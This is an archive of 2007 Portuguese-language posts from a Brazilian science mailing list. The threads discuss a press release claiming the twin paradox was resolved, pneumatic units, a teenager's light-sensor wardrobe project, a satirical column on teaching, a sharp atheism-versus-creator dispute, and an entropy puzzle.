> Notícia quentinha. Ótima para outros pensadores que discordam da RG.

Olha... Quentinha, sim, mas um tanto quanto muito completamente exagerada.

http://en.wikipedia.org/wiki/Twin_paradox

Em particular
http://richarddawkins.net/forum/viewtopic.php?=&p=116171
e
http://en.wikipedia.org/wiki/Subhash_Kak#Twin_paradox

"In February 2007 a Louisiana State University (LSU) press release[21]
asserted that Kak had "resolved the twin paradox". The actual
paper[22] states that the twin paradox has "various 'resolutions' that
are not in consonance with each other",[23] while in state-of-the-art
physics, there is nothing unresolved about the so-called twin paradox,
rendering any claim to have "resolved" it meaningless."

O press release em si é tão... exagerado que merecia destaques por si só.


> Em um dos últimos parágrafos, ele, Kak, escreveu: ".....no matter where
> one might be within it.", complementando um frase. Contudo não conseguí uma
> tradução de modo a se encaixar no que sei a respeito.
>
> Alguém poderia oferecer uma tradução adequada?

Proximal, pelo menos:

"Eu resolví o paradox incorporando um novo princípio dentro do esquema da
relatividade que define o movimento não em relação aos objetos individuais,
tal como os dois gêmeos com respeito um ao outro, mas em relação à estrelas
distantes", disse Kak. Usando relações probabilísiticas, a solução de Kak
assume que o universo tem as mesmas propriedades gerais não importa
o que (em qualquer situação) esteja sendo analizado."

Discutindo isso com um chegado, nos pareceu que analisar esquemas
relativísticos tendo o "universo como um todo" como espectador como
uma espectativa rasóvavel, pelo menos intuitivamente (pensando ai, nas
'estrelas distantes').

Mas, depois ele me apontou exatamente isso. O paradoxo dos gêmeos o é :-)

André


SUBJECT: Re: [ciencialist] RG - tradução de texto.
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/07/2007 12:21

On 7/18/07, André L F S Bacci <andrebacci.listas@gmail.com> wrote:
> Discutindo isso com um chegado, nos pareceu que analisar esquemas
> relativísticos tendo o "universo como um todo" como espectador como
> uma espectativa rasóvavel, pelo menos intuitivamente (pensando ai, nas
> 'estrelas distantes').

Ouch!

raZoável

André


SUBJECT: Re: [ciencialist] Fw: Pneumatica
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/07/2007 13:48

Nesse caso o número 18pcm informa o consumo de ar que o equipamento promove
na pressão de entrada em 90psi...
Ele serve para dimensionar o balão reservatório de ar em relação à
quantidade de equipamentos conectados ou vice-versa.
[]s
José Renato

...................................................................

----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, July 17, 2007 2:47 PM
Subject: [ciencialist] Re: Fw: Pneumatica


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Também não sei o que é "pcm". Será polegada ao cubo?

É a capacidade de bombeamento: pé cúbico por minuto.

[]s,

Roberto Takata



SUBJECT: RES: [ciencialist] RG - tradução de texto.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/07/2007 15:48

Olá, André,

É o que parece, mesmo. Suspeito que deve estar cheio de equívocos
conceituais, como todos os outros que já apresentaram teorias alternativas e
querem refutar a TR. É o que veremos. De qualquer maneira, solicitei o
artigo orignal ao autor, vez que ele disponbilizou seu e-mail.



Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de André L F S Bacci
Enviada em: quarta-feira, 18 de julho de 2007 12:20
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] RG - tradução de texto.



On 7/17/07, J.Victor <j.victor.neto@uol.com.br
<mailto:j.victor.neto%40uol.com.br> > wrote:
> Lista,
>
> Notícia quentinha. Ótima para outros pensadores que discordam da RG.

Olha... Quentinha, sim, mas um tanto quanto muito completamente exagerada.

http://en.wikipedia.org/wiki/Twin_paradox

Em particular
http://richarddawkins.net/forum/viewtopic.php?=
<http://richarddawkins.net/forum/viewtopic.php?=&p=116171> &p=116171
e
http://en.wikipedia.org/wiki/Subhash_Kak#Twin_paradox

"In February 2007 a Louisiana State University (LSU) press release[21]
asserted that Kak had "resolved the twin paradox". The actual
paper[22] states that the twin paradox has "various 'resolutions' that
are not in consonance with each other",[23] while in state-of-the-art
physics, there is nothing unresolved about the so-called twin paradox,
rendering any claim to have "resolved" it meaningless."

O press release em si é tão... exagerado que merecia destaques por si só.

> Em um dos últimos parágrafos, ele, Kak, escreveu: ".....no matter where
> one might be within it.", complementando um frase. Contudo não conseguí
uma
> tradução de modo a se encaixar no que sei a respeito.
>
> Alguém poderia oferecer uma tradução adequada?

Proximal, pelo menos:

"Eu resolví o paradox incorporando um novo princípio dentro do esquema da
relatividade que define o movimento não em relação aos objetos individuais,
tal como os dois gêmeos com respeito um ao outro, mas em relação à estrelas
distantes", disse Kak. Usando relações probabilísiticas, a solução de Kak
assume que o universo tem as mesmas propriedades gerais não importa
o que (em qualquer situação) esteja sendo analizado."

Discutindo isso com um chegado, nos pareceu que analisar esquemas
relativísticos tendo o "universo como um todo" como espectador como
uma espectativa rasóvavel, pelo menos intuitivamente (pensando ai, nas
'estrelas distantes').

Mas, depois ele me apontou exatamente isso. O paradoxo dos gêmeos o é :-)

André





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] RG - tradução de texto.
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/07/2007 20:13

On 7/18/07, J.Victor <j.victor.neto@uol.com.br> wrote:
> Olá, André,
>
> É o que parece, mesmo. Suspeito que deve estar cheio de equívocos
> conceituais, como todos os outros que já apresentaram teorias alternativas e
> querem refutar a TR. É o que veremos.

Talvez sim, talvez não... Mas que o press release está pra lá de hiperbólico...

> De qualquer maneira, solicitei o
> artigo orignal ao autor, vez que ele disponbilizou seu e-mail.

Esse ?
http://arxiv.org/abs/physics/0605199
http://arxiv.org/pdf/physics/0605199

Estava linkado no artigo da Wikipedia... É um artigo curtinho, mas
para a minha surpresa, a citação que "various 'resolutions' that are
not in consonance with each other" está na introdução, e não na
conclusão, e parece que nem é discutida com números.

Ele cita o artigo On Einstein's resolution of the twin clock paradox,
C.S. Unnikrishnan, como fonte a respeito da existência do paradoxo
como tal, mas a respeito desse artigo, nada se encontra.

E por falar na conclusão (artigo do Kak):

"It must be stressed that the determination that an observer is in motion
with respect to distant stars does not imply a return to absolute space. An
isotropic universe will have an infinity of inertial frames."

André


SUBJECT: Re: Fw: Por favor, ajude-me!
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/07/2007 23:26

Yes! Esse merece uma consulta especial com direito a três retornos.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Dá gosto, ou não, responder dúvidas assim!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Lucas Ribeiro Lopes Cardoso" <luck_477@...>
> Para: <leobarretos@...>
> Enviada em: sábado, 14 de julho de 2007 19:02
> Assunto: Por favor, ajude-me!
>
>
> | Olá!!!
> | Meu nome é Lucas e tenho 16 anos. Sou um grande fã de seu site
> | feiradecientias.com.br, e o acompanho já a algum anos!
> | O procuro tanto por trabalhos escolares, quanto por trabalhos que
> | realizo por hoobie em minha casa, sempre obtendo resultados
excelentes, já
> | que no site, sempre encontro explicações detalhadas, e em uma
linguagem de
> | fácil entendimento.
> | Contudo, procurando me desprender um pouco de trabalhos
criados por
> | outras pessoas, criei uma invenção minha, e que, apesar de humilde e
> | simples, será de grande utilidade para mim, sem falar no prazer de
> | construi-la.
> | Consiste em um sisteminha que será implantado no meu
guarda-roupas, e
> | que ao abrir a porta do mesmo(fechando o circuito), um
LDR(conhecimento
> | obtido em seu site) instalado na parte de cima do armário, percebe
ou não a
> | presença de luz.
> | Se o quarto estiver claro(no caso, quando estiver dia) nada
acontece e o
> | sistema fica sem utilização. Já se o quarto estiver escuro(no
caso, em razão
> | do meu irmão que pode estar dormindo), uma luz se acende e ilumina o
> | interior do armário. E ao abrir a gaveta, fecho outro circuito
que, por sua
> | vez acende outra lâmpada, desta vez, dentro da gaveta. O mesmo
acontece no
> | outro armário só que sem a parte da gaveta.
> | Portanto (ao meu ver), consiste em um sistema de três
lâmpadas, três
> | interruptores, um LDR e uma fonte de alimentação. E é ai que mora
o meu
> | problema!
> | Ao começar a desenhar o esquema, apareceram algumas dúvidas
das quais
> | não possuo o conhecimento necessário para resoulve-las, são essas:
> | * Como são três lâmpadas de 25W e, portanto, não posso
acende-las com
> | pilhas, seria possível utilizar uma corrente elétrica convencional
de 110V
> | sem estragar o LDR? (Desculpe minha ignorância nesse assunto e me
perdõe se
> | eu estiver dizendo alguma besteira muito grande!)
> | * Se for possivel, como posso fazer para que o sistema funcione?
> | Utilizarei resistores?
> |
> | Me arrisquei tentando esboçar alguma coisa sobre o sistema,
por favor,
> | corriga-me se eu estiver errado! Estou lhe enviando como anexo!
> | Peço encarecidamente que me ajude, contudo entenderei se não for
> | possivel. Ainda assim lhe agradeço muito pelo conhecimento que me
foi, e
> | será, fornecido pelo seu site! Uma ótima fonte de conhecimento,
parabéns
> | pelo seu trabalho!
> | Muito obrigado!
> |
> | _________________________________________________________________
> | Chegou o Windows Live Spaces com rede social. Confira
> | http://spaces.live.com/
> |
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.476 / Virus Database: 269.10.6/902 - Release Date:
15/07/2007 14:21
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: A última professora
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/07/2007 23:37

Daqui a mil anos ainda teremos professores, elites e "povão". Os
arqueólogos de então estarão escavando bytes dos antigos grupos de
discussão do Yahoo e estudando o comportamento intelectual dos
espécimes de então. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> Olá, Álvaro:
>
> O "discurso" é minha opinião: O povo não é desqualificado para votar ou
> opinar. O termo "ignorante" não significa coisa alguma, em se falando de
> temas tão complexos. Não creio que isso seja necessariamente um
pensamento
> ideológico.
>
> Entre outros, percebi essa preocupação no Sagan, Einstein, ou
Roosevelt:
> http://www.theodore-roosevelt.com/trrotptr.html
>
> Acho que deve-se respeitar o povo, e não, menospreza-lo. A divulgação
> científica, a educação, entre outras coisas, depende de ter uma
percepção
> mais adequada de tudo isso. Se é off, perdoem os outros listeiros,
isso não
> se repetirá (não enquanto eu me lembrar de que não tô num fórum
genérico)
>
> GiL
>
> Em 17/07/07, Alvaro Augusto (U) <alvaro@...> escreveu:
> >
> > Caro Gil,
> >
> > Belo discurso ideológico. Mas o que tem ele a ver com essa lista?
> >
> > [ ]s
> >
> > Alvaro Augusto de Almeida
> > http://alvaroaugusto.blogspot.com
> > alvaro@...
> >
> >
> >
> > ----- Original Message -----
> > From: "Gil" <nanolink01@...>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Tuesday, July 17, 2007 8:14 PM
> > Subject: Re: [ciencialist] A última professora
> >
> >
> > Murilo:
> >
> > É comum as pessoas que se consideram da elite intelectual,
chamarem o
> > povo
> > (em sentido abstrato, uma massa amorfa, talvez, indefinida, quase
> > homogênea)
> > de ignorante. O que isso significa? Que estão desqualificados para
votar e
> > escolher seus governantes? Que a opinião dos "não-ignorantes" vale
mais,
> > ou
> > levaria o país a melhores rumos? O povo seria ignorante porque?
Por não
> > partilhar da opiniao da classe "esclarecida"? Por não ter educação de
> > qualidade (raciocínio circular, já que a educação depende de,
entre outras
> > coisas, um bom sistema educacional!)?
> >
> > Não acredito que o povo seja desqualificado para votar, ou para
opinar. Se
> > ignoram o que a "elite" intelectual consideram importante (sejam os
> > clássicos da filosofia, as novas teorias da física, o poder de
> > processamento
> > do novíssimo processador-protótipo da AMD, o último artigo do
economista
> > x), isso não quer dizer que também ignorem as idéias básicas dos
> > candidatos
> > , e suas consequências para suas próprias vidas. Não significa que
saibam
> > que há prós e contras nas idéias que os candidatos podem muito bem
levar
> > para frente ou não. Sabem que existe uma pessoa real e interesses
ocultos,
> > enfim, um mundo inteiro abaixo da aparência de cada candidato, que a
> > maioria
> > das pessoas sabe muito bem ser falsa. O povo sabe sim, ler nas
> > entrelinhas,
> > e tem memória razoavelmente funcional. Já vi muitos políticos
dando tiro
> > no proprio pé por crer que não seja dessa maneira. E quando as
coias dão
> > errado, quando o povo não concorda com o "saber" da elite
> > intelectual, ele
> > é chamado de ignorante. Essa "fera adormecida" semrpe será chamada de
> > Besta-fera, quando puxar o tapete dos "formadores de opinião".
> >
> > Foi assim no século 19, 20, está sendo assim no 21.
> >
> > O texto enviado tem os seus problemas, é claro. Mas desqualificar
o voto
> > do
> > povo chamando-o de ignorante não invalida em nada o texto (que, por
> > sinal,
> > é mais uma brincadeira do que um texto realmente abrangente).
> >
> > Sobre o "povo ignorante"
> > http://diplo.uol.com.br/imprima779
> >
> > Sobre os problemas da educação (texto muito mais aprofundado)
> > http://www.jornaldaciencia.org.br/Detalhe.jsp?id=17683
> >
> > Obs: "Ignorante" é um termo relativo, vago, e pode ser simplesmente um
> > meio
> > preconceituoso de desqualificar uma pessoa, um grupo, uma sociedade. É
> > possível chamar *qualquer* pessoa de ignorante, em diversos contextos.
> > Aquele contexto ao qual eu me refiro é o do velho termo pejorativo
atirado
> > aos que discordam da opinião dos que se consideram a vanguarda
> > intelectual
> > , independente do ramo da atividade humana no qual eles se considerem
> > vanguarda .
> >
> >
> > Gil
> > Em 17/07/07, murilo filo <avalanchedrive@...> escreveu:
> > >
> > > ''o declínio do magistério: um complô contra
> > > a educação, criado pela classe dominante(10% da população), que
detinha
> > > mais
> > > de 50% da renda nacional. ''
> > > Esta frase ridícula desqualifica qualquer gracinha imaginativa
do autor,
> > > com
> > > certeza, já extinto.
> > > Seria bem validada, se ele na sequência tivesse dito que os 90% da
> > galera
> > > ignara passaram a comandar no voto a metástase da ignorância,
como nunca
> > > antes nesse país...
> > > Arre... M.
> > >
> > > >From: "Esteban Moreno" <estebanlmoreno@...>
> > > >Reply-To: ciencialist@yahoogrupos.com.br
> > > >Subject: [ciencialist] A última professora
> > > >Date: Tue, 17 Jul 2007 14:08:24 -0300
> > > >
> > > >A última professora *Carlos Eduardo Novaes* *Jornal O Dia,
02/12/90*
> > > >
> > > >Estamos em 2989 e alguns cientistas, trabalhando nas ruínas de
um sítio
> > > >arqueológico (local outrora conhecido como Jacarepaguá),
encontraram
> > uma
> > > >mandíbula de mulher. Levada ao laboratório, descobriu-se que ela
> > > pertencia
> > > >a
> > > >uma professora. Não uma professora qualquer, mas provavelmente
a última
> > > da
> > > >espécie classificada como de 1º Grau que viveu por volta de
2020 num
> > > antigo
> > > >país chamado Brasil.
> > > >
> > > >No final do séc. XXI, o Brasil que conhecemos se tornou um
aglomerado
> > de
> > > >tribos independentes, expressando-se nos mais diferentes idiomas. A
> > > >descoberta do que ficou conhecido como a Professora de
Jacarepaguá (uma
> > > >versão mais moderna do Homem de Neanderthal) tornou possível
encontrar
> > as
> > > >razões da dissolução do país.
> > > >
> > > >Buscando nos livros, os cientistas perceberam que houve uma época -
> > entre
> > > o
> > > >início do séc. XX e meados dos anos 50 - em que professores desse
> > extinto
> > > >país ocupavam uma posição invejável na escala social. As famílias
> > > >monogâmicas das classes médias (e algumas altas) orgulhavam-se de
> > poderem
> > > >encaminhar suas filhas para a profissão. Casar com uma
professora era a
> > > >aspiração suprema de muitos homens. Elas eram olhadas com respeito,
> > > >admiração e desfrutavam de um *status* semelhante ao dos militares.
> > > >
> > > >Reconhecidas na sua missão histórica de educar, recebiam -
acreditem -
> > um
> > > >salário que chegava ao final do mês. Alguns iam além.
> > > >
> > > >Não se sabe precisar a data, mas parece que foi no final dos
anos 70
> > que
> > > o
> > > >magistério começou a desabar na escala social. Por mais que
quebrem a
> > > >cabeça, nossos cientistas não conseguem entender as razões
dessa queda
> > > >vertiginosa. Não terá sido por falta de escolas, porque o país
> > > esforçava-se
> > > >para entrar na modernidade e necessitava ampliar sua rede
escolar. Não
> > > terá
> > > >sido também por falta de quem educar, porque esse atrasado país
somava
> > > mais
> > > >de 50 milhões de analfabetos e semiletrados no início dos anos 90.
> > Muito
> > > >menos pela possibilidade de substituir professoras por robôs,
> > televisores
> > > e
> > > >computadores. Por que então os magistrados passaram a ser
tratados como
> > > os
> > > >servos do antigo Egito?
> > > >
> > > >A princípio, suspeitou-se que esse povo atrasado e tropical
tivesse uma
> > > >caixa craniana inferior a das raças desenvolvidas. Mais tarde,
> > > >encontraram-se outras razões para o declínio do magistério: um
complô
> > > >contra
> > > >a educação, criado pela classe dominante(10% da população), que
detinha
> > > >mais
> > > >de 50% da renda nacional. Não interessava a ela ver o saber
> > > democratizado,
> > > >ou seus privilégios estariam ameaçados. Os professores
despencaram para
> > > os
> > > >últimos lugares da tabela econômica, equiparando-se aos
profissionais
> > > (não
> > > >especializados) mais mal pagos desse triste país. Alguns, ganhando
> > > >salário-mínimo, recebiam menos do que os operários que ajudaram a
> > > levantar
> > > >os Jardins Suspensos da Babilônia.
> > > >
> > > >O resultado é que, a partir do início do século XXI, o professorado
> > > >tornou-se uma espécie em extinção. Documentos da época
informaram que,
> > > >quando uma jovem anunciava o desejo de ser professora, a família a
> > > colocava
> > > >de castigo. Era preferível ganhar a vida como chacrete em
programa de
> > > >auditório. Os cientistas pesquisaram o desaparecimento de outras
> > > atividades
> > > >nesse país: funileiro, cocheiro, acendedor de lampiões. Ocorre que
> > esses
> > > >profissionais foram engolidos pelos avanços da civilização. No
caso dos
> > > >professores, não há progresso nem tecnologia capaz de
substituir sua
> > > >presença. É a professora quem nos leva pela mão na travessia
para as
> > > >primeiras letras. É ela quem nos coloca no ponto de partida e,
com uma
> > > >palmadinha no traseiro, parece dizer:"Agora vai à luta".
> > > >
> > > >Segundo os cientistas, os governos da época, preocupados com
questões
> > > mais
> > > >transcendentais, não perceberam a escassez de professores no
mercado.
> > Foi
> > > >preciso que as escolas começassem a fechar e os donos das escolas
> > > >particulares esperneassem desesperados para o governo tomar
> > providências.
> > > >
> > > >Que providências? Importar professores, como fez com o álcool. No
> > início
> > > >dava-se preferência à Portugal e às ex-colônias. Mas eles
também tinham
> > > >suas
> > > >crianças para educar, de modo que o Governo teve que recorrer ao
> > > Paraguai,
> > > >Bolívia, Guianas. Logo, os países desenvolvidos - que já
dominavam a
> > > >cultura
> > > >do Brasil - perceberam o alcance do negócio e trataram de enviar,
> > > >gratuitamente, bandos de professores às escolas brasileiras.
> > > >
> > > >O país tornou-se uma Babel. Em algumas regiões, ensinava-se em
japonês;
> > > em
> > > >outras, em alemão ou inglês, ou italiano ou espanhol. Em apenas uma
> > única
> > > >escola, em Jacarepaguá, uma professora resistia, ensinando os
alunos em
> > > >português. Sua morte tornou-se um marco na história da Educação
nesse
> > > país.
> > > >Foi enterrada com honras de herói nacional e o monumento ao
"Professor
> > > >Desconhecido", erguido no antigo Centro da Cidade, reproduz seu
rosto
> > na
> > > >figura principal. Ao pé do monumento, os dizeres: " A última
professora
> > > >brasileira, homenagem dos seus ex-alunos." Foi a última frase
que se
> > > >escreveu nesse país em português.
> > > >
> > > >
> > > >[As partes desta mensagem que não continham texto foram removidas]
> >
> >
> >
> > ##### ##### #####
> >
> > Página de apoio
> > http://www.ciencialist.com
> >
> >
> > ##### ##### ##### #####
> > Links do Yahoo! Grupos
> >
> >
> >
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Fw: [ciencialist] Voltaire
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 18/07/2007 23:51

Luiz : [... A falsa ciência gera a pseudociência; a verdadeira ciência
dispensa as divindades, por total falta de evidências, e nos leva a aprender
que não devemos nos curvar para ninguém; somos (quase) todos homens livres!
Esse (quase) refere-se ao Amauri, um homem que se curva frente até ao
inexistente. ... ]
.............................................................................

Pois é, Luiz! Já se passaram mais de cinco mil anos e ainda não conseguimos
perceber... Os erros de entendimento continuam os mesmos. Muitos ainda
digerem mal o fruto da ciência e do conhecimento. Considerar que somos
superiores a tudo, livres para fazer o que quiser sem prestar contas a
ninguém, plenos conhecedores dos segredos da natureza ou considerar que não
há evidências da razão criadora-mantenedora, é uma tentativa de se iludir,
fechando os olhos e o intelecto para a realidade constatada a todo instante.
Parece-me uma atitude totalmente irracional. Procurar conhecer a criação não
implica necessariamente termos que considerar o Criador inexistente. Um
mínimo de lucidez se faz necessário para não confundirmos idéias e
pensamento com a Realidade tenuamente percebida.

[]s

José Renato

.............................................................................

----- Original Message -----
From: "Amauri N. Sanches Jr " <amaurij@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 13, 2007 5:55 PM
Subject: Re: [ciencialist] Voltaire


Depois que falo, tenho que pedir desculpas...

Olha esse e-mail?

sds

Em 13/07/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> "Pode ser que não estejamos de acordo com as idéias dos outros, mas
> devemos estar dispostos a morrer para defender a liberdade de todas as
> idéias".
> Voltaire
>
> Voltaire é uma mula! Como se pode defender a liberdade de idéias de um
> fanático, de um criminoso, de um pedófilo, de uma besta que escreve temas
> de auto-ajuda numa lista de ciências?
>
> "O acaso é uma palavra sem sentido. Nada pode existir sem causa."
> Voltaire
>
> Voltaire é uma dupla besta! O acaso não significa sem causa, significa
> apenas que o número de parâmetros que definem um dado estado A é tal que
> torna praticamente impossível equacionar o novo estado B. Qualquer mínima
> alteração numa das causas em A, modifica B. Amauri é um dos produtos desse
> acaso; uma das causas, na fecundação, gerou isso que é hoje.
>
> "A falsa ciência gera ateus; a verdadeira ciência leva os homens a se
> curvar diante da divindade."
> Voltaire
>
> Voltaire é uma tríplice mula! A falsa ciência gera a pseudociência; a
> verdadeira ciência dispensa as divindades, por total falta de evidências,
> e nos leva a aprender que não devemos nos curvar para ninguém; somos
> (quase)
> todos homens livres! Esse (quase) refere-se ao Amauri, um homem que se
> curva frente até ao inexistente. Ai dele se passar perto de mim sem se
> curvar!
>
> Amigos, essa besta aqui respondeu a uma mensagem totalmente fora de qqer
> contexto lógico, apenas como exemplo do que pode vir à frente. Um listeiro
> que envia uma mensagem "apenas com citações de outra pessoa" é listeiro
> sem fala, conhecimentos ou argumentos próprios; em que isso pode ser útil
> a
> essa lista?
> Pode ser "um prato cheio" para
> <Acropolis_@yahoogrupos.com.br<Acropolis_%40yahoogrupos.com.br>>;
> cascata_de_luz@yahoogrupos.com.br <cascata_de_luz%40yahoogrupos.com.br>;
> sandraamauri@yahoo.com.br <sandraamauri%40yahoo.com.br>;
> lucimary.vargas@gmail.com <lucimary.vargas%40gmail.com>>;
> lucia2245@hotmail.com <lucia2245%40hotmail.com>.
> Imaginem só --- Cascata de luz --- a luz jorra de uma fonte e se curva ao
> sabor da gravidade terrestre. Se fosse uma ligeira curvatura ao passar
> próximo à massa de uma estrela, vá lá, mas, aqui na terrrinha? ... que dó!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================



SUBJECT: Entropia: Pequeno paradoxo cosmológico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/07/2007 00:11

Há algum tempo postei um pequeno desafio (se é q poderemos chamá-lo
assim) a respeito da entropia e da seta do tempo.

http://br.groups.yahoo.com/group/ciencialist/message/59639

A conclusão era a de que a segunda lei da termodinâmica, por si só,
não nos poderia garantir a direcionalidade do tempo. Seria necessário
q o universo - o nosso universo, a parte q conhecemos - tivesse um
início de máxima "organização" (mínima entropia) para q o aumento da
"desordem" (entropia) correspondesse à passagem do tempo.

http://br.groups.yahoo.com/group/ciencialist/message/59706
http://br.groups.yahoo.com/group/ciencialist/message/59718

Porém, ao observarmos o universo - em grande escala - observamos uma
grande uniformidade. Analisando-se as microondas da radiação cósmica
de fundo a flutuação da temperatura em qq parte do universo é da ordem
de apenas 1 parte em 10.000. São porções do universo q, tto qto
sabemos, jamais estiveram em contato (via luz) para q pudesse atingir
o equilíbrio térmico.

Isso ou significa q desde a origem o universo estava na condição muito
especial de homogeneidade térmica ou, alternativamente, q todo o
universo provém de uma parte muito, muito pequena q estava
efetivamente em contato térmico, mas q passou por um período breve,
porém muito intenso de expansão - a chamada inflação cósmica.

De todo modo isso significa q a parte do universo primordial q deu
origem ao nosso universo estava em equilíbrio térmico.

Mas epa! Equilíbrio térmico significa o máximo estado caótico - a
maior entropia possível no sistema.

Chegamos então a um paradoxo em q, de um lado concluímos q o universo
em seu estado original estivera em seu estado mínimo de entropia e de
outro q estava em seu estado máximo de entropia.

(Semana q vem uma possível resposta.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Entropia: Pequeno paradoxo cosmológico
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/07/2007 04:16

Talvez o aumento da entropia esteja na própria expansão do Universo?

Seríamos tentados a imaginar que a entropia era mínima no início do
Universo porque toda a energia estaria concentrada em um ponto, por
outro lado o fato é que o próprio Universo -- espaço incluído --
estava nesse ponto, uniforme, e a entropia seria então máxima.

Isto é, o paradoxo decorre de considerar o nosso Universo e o
"universo primordial" no qual nosso Universo se expande?

Seja como for, só agora li o thread de janeiro indicado, e vou comprar
o livro, maravilha Takata. A entropia era máxima em nosso universo,
mas mínima considerando a evolução de nosso Universo em outro maior,
mas essencialmente inacessível?

Abraço,

Mori

On 7/19/07, rmtakata <roberto.takata@bol.com.br> wrote:
>
>
>
>
>
>
> Há algum tempo postei um pequeno desafio (se é q poderemos chamá-lo
> assim) a respeito da entropia e da seta do tempo.
>
> http://br.groups.yahoo.com/group/ciencialist/message/59639
>
> A conclusão era a de que a segunda lei da termodinâmica, por si só,
> não nos poderia garantir a direcionalidade do tempo. Seria necessário
> q o universo - o nosso universo, a parte q conhecemos - tivesse um
> início de máxima "organização" (mínima entropia) para q o aumento da
> "desordem" (entropia) correspondesse à passagem do tempo.
>
> http://br.groups.yahoo.com/group/ciencialist/message/59706
> http://br.groups.yahoo.com/group/ciencialist/message/59718
>
> Porém, ao observarmos o universo - em grande escala - observamos uma
> grande uniformidade. Analisando-se as microondas da radiação cósmica
> de fundo a flutuação da temperatura em qq parte do universo é da ordem
> de apenas 1 parte em 10.000. São porções do universo q, tto qto
> sabemos, jamais estiveram em contato (via luz) para q pudesse atingir
> o equilíbrio térmico.
>
> Isso ou significa q desde a origem o universo estava na condição muito
> especial de homogeneidade térmica ou, alternativamente, q todo o
> universo provém de uma parte muito, muito pequena q estava
> efetivamente em contato térmico, mas q passou por um período breve,
> porém muito intenso de expansão - a chamada inflação cósmica.
>
> De todo modo isso significa q a parte do universo primordial q deu
> origem ao nosso universo estava em equilíbrio térmico.
>
> Mas epa! Equilíbrio térmico significa o máximo estado caótico - a
> maior entropia possível no sistema.
>
> Chegamos então a um paradoxo em q, de um lado concluímos q o universo
> em seu estado original estivera em seu estado mínimo de entropia e de
> outro q estava em seu estado máximo de entropia.
>
> (Semana q vem uma possível resposta.)
>
> []s,
>
> Roberto Takata


SUBJECT: Re: [ciencialist] Voltaire
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/07/2007 08:52

JR: >"... Já se passaram mais de cinco mil anos e ainda não conseguimos
perceber...<

Léo: E como era a ignorância nos milhões de anos antes desses meros 5000 anos que cita?

JR: > "... ou considerar que não
há evidências da razão criadora-mantenedora, é uma tentativa de se iludir,
fechando os olhos e o intelecto para a realidade constatada a todo instante. <

Léo: Mostre as evidências científicas e racionais dessa 'razão criadora-mantenedora' e mostre onde encontramos essa evidência a todo instante.

JR: >... Procurar conhecer a criação não
implica necessariamente termos que considerar o Criador inexistente. <

Léo: Mostre evidências de que há ou houve alguma 'criação', sem considerar o absurdo da existência de um 'Criador'.

Concluindo: Até para ser criacionista e crente vc é ruim demais!

Fim do papo 'Voltaire'. Ele é realmente uma besta exponencial crescente!

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 18 de julho de 2007 23:51
Assunto: Fw: [ciencialist] Voltaire




SUBJECT: Re: Voltaire
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/07/2007 11:08

Jose Renato: "ou considerar que não há evidências da razão
criadora-mantenedora, é uma tentativa de se iludir, fechando os olhos
e o intelecto para a realidade constatada a todo instante."

Teologia natural, de novo? Isso já não foi abandonado há séculos, pela
tolice evidente? Procurar deus nas pedras, procurar deus criador nos
riachos, procurar o deus-vulcão, o deus-raio, o deus "está por toda
parte"??? De novo, como nas tribos antigas????

Isso é demais, até para um pastor evangelizador..:-)

O universo é exatamente o que esperaríamos se não tivesse nenhuma
intencionalidade por traz, nenhum deus-criador, nenhuma inteligência,
no sentido mais preciso do termo, um ser inteligente a nos guiar ou
desejar coisas.

Não há evidências, nenhuma, da tal "razão criadora", e a teologia
natural já foi deixada de lado, pois não dá para ajustar o universo
nessa, limitadíssima, visão de um deus muito interessado nas vidas
humanas, um deus-todo-amor-e-intenção com o universo observado
(lembre-se do ichneumon..:-)

Jose Renato: "Procurar conhecer a criação não implica necessariamente
termos que considerar o Criador inexistente."

